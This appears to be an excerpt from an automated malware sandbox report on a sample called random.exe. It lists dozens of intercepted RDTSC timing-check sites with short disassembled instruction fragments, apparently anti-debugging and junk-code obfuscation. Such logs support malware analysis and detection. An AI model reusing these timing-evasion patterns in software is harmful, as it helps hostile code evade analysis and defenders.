Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7BE7F second address: A7BE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBFA5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7D7E1 second address: A7D7E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7D7E7 second address: A7D7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7D7EB second address: A7D7F9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAC0CE0F756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A7F700 second address: A7F710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CEEBF9Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A83A8B second address: A83A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAC0CE0F75Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A83A9E second address: A83AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA6h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A852FB second address: A85301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A85301 second address: A85305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A85305 second address: A85309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A898AB second address: A898CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAC0CEEBFA4h 0x0000000d je 00007FAC0CEEBF96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A898CD second address: A898D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89B7D second address: A89B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89B81 second address: A89B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89B87 second address: A89B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAC0CEEBF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89B91 second address: A89B97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89D1E second address: A89D28 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89E73 second address: A89E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FAC0CE0F75Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A89E86 second address: A89E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8A14F second address: A8A166 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAC0CE0F75Bh 0x00000008 pop esi 0x00000009 jp 00007FAC0CE0F75Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F6F2 second address: A8F6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAC0CEEBF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F6FD second address: A8F703 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F703 second address: A8F707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F23C second address: A8F242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F3BF second address: A8F3C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F3C3 second address: A8F3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F3CB second address: A8F3D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F3D0 second address: A8F3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A8F3D6 second address: A8F410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jmp 00007FAC0CEEBFA7h 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 jmp 00007FAC0CEEBFA4h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: A9E5C2 second address: A9E5C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAC09F second address: AAC0C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FAC0CEEBFA8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAC0C1 second address: AAC0DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAED11 second address: AAED27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAC0CEEBFA0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAED27 second address: AAED38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAED38 second address: AAED4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FAC0CEEBF96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FAC0CEEBF96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AAED4C second address: AAED50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC4FC9 second address: AC4FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC4FCD second address: AC4FD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9CF0 second address: AC9D0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA4h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC8A65 second address: AC8A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC8A69 second address: AC8A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC8A73 second address: AC8A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC8BC7 second address: AC8BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jno 00007FAC0CEEBF96h 0x00000010 jmp 00007FAC0CEEBF9Bh 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC8BE8 second address: AC8C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F764h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FAC0CE0F756h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9493 second address: AC9497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9497 second address: AC94B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F763h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC94B4 second address: AC94B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC94B8 second address: AC94BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9673 second address: AC96C5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FAC0CEEBFA6h 0x00000008 jmp 00007FAC0CEEBF9Bh 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FAC0CEEBFA5h 0x00000018 pushad 0x00000019 popad 0x0000001a js 00007FAC0CEEBF96h 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 popad 0x00000024 jno 00007FAC0CEEBF96h 0x0000002a pop eax 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9818 second address: AC981D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC981D second address: AC9825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9825 second address: AC984B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAC0CE0F756h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAC0CE0F760h 0x00000015 jnl 00007FAC0CE0F756h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC984B second address: AC9859 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9859 second address: AC9871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC0CE0F764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC9871 second address: AC9875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AC99DF second address: AC9A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FAC0CE0F75Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAC0CE0F764h 0x0000001d jmp 00007FAC0CE0F769h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: ACC970 second address: ACC986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pop edi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FAC0CEEBF96h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AD0B9C second address: AD0BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AD0C24 second address: AD0C56 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAC0CEEBF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D19F7h], edi 0x00000014 push 00000004h 0x00000016 or dx, C7C9h 0x0000001b sbb edx, 0CB108F6h 0x00000021 push 85CEC61Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FAC0CEEBF9Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: AD2938 second address: AD2941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430327 second address: 543032D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543032D second address: 543033E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, 4633h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543033E second address: 5430365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ecx, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430365 second address: 543036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543036A second address: 543037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543037D second address: 5430383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5460576 second address: 546057C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 546057C second address: 546058B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 546058B second address: 546059E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F00D0 second address: 53F00D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F00D4 second address: 53F00F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F00F1 second address: 53F00F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F00F7 second address: 53F00FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F00FB second address: 53F0135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAC0CE0F761h 0x00000012 add eax, 58FEE486h 0x00000018 jmp 00007FAC0CE0F761h 0x0000001d popfd 0x0000001e mov di, ax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0135 second address: 53F013A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F013A second address: 53F014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F014C second address: 53F0168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0168 second address: 53F01C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CE0F761h 0x00000009 jmp 00007FAC0CE0F75Bh 0x0000000e popfd 0x0000000f mov esi, 65220CEFh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov ecx, 6B18AAE7h 0x0000001f jmp 00007FAC0CE0F75Ch 0x00000024 popad 0x00000025 push dword ptr [ebp+04h] 0x00000028 jmp 00007FAC0CE0F760h 0x0000002d push dword ptr [ebp+0Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F01C2 second address: 53F01C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F01C6 second address: 53F01E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F01E3 second address: 53F0203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, CFh 0x00000005 push esi 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAC0CEEBFA1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0203 second address: 53F0213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F75Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0238 second address: 53F023C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F023C second address: 53F0242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410B0D second address: 5410B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54106E9 second address: 54106FA instructions: 0x00000000 rdtsc 0x00000002 mov cl, AEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, dx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54106FA second address: 54106FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54106FE second address: 5410702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410702 second address: 5410708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410708 second address: 5410746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAC0CE0F760h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAC0CE0F767h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410746 second address: 541074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 541074C second address: 5410750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410649 second address: 541066C instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a jmp 00007FAC0CEEBFA2h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 541066C second address: 5410670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410670 second address: 5410676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54103E3 second address: 54103E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54103E9 second address: 54103ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54103ED second address: 5410405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAC0CE0F75Dh 0x00000010 rdtsc
